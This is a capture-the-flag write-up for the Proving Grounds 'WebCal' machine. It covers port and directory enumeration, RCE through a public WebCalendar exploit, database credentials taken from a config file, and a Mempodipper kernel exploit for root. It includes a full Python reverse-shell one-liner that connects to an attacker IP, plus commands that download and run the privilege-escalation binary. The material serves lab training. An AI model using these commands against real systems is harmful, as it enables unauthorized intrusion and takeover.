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WebCal

Writeup for WebCal from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration

nmapAutomator.sh -H 192.168.66.37 -t full
nmapAutomator.sh -H 192.168.66.37 -t vulns

HTTP

gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50
  • /resources
  • /send
  • /webcalendar
We find a login page at http://192.168.66.37/webcalendar/login.php.
The version is v1.2.3

Exploit

WebCalendar <= v1.2.4 suffers from an RCE vulnerability: https://www.exploit-db.com/exploits/18775​
Simply running the exploit above gives us RCE. php 18775.php 192.168.66.37 /webcalendar/
Once here, we can use a Python payload to catch a reverse shell on our Kali machine.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
On our Kali machine:

Privilege Escalation

MySQL

The settings.php file looks interesting.
Upon further inspection, the MySQL database credentials are in this file.
Furthermore, we now have access to port 3306, which is the MySQL port.
[email protected]:/home$ mysql --user=wc --password
Enter password: edjfbxMT7KKo2PPC

Kernel Exploit

The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.
Compile: gcc mempodipper.c -o mempodipper
Transfer: wget "192.168.49.66/mempodipper" -O mempodipper
Last modified 1yr ago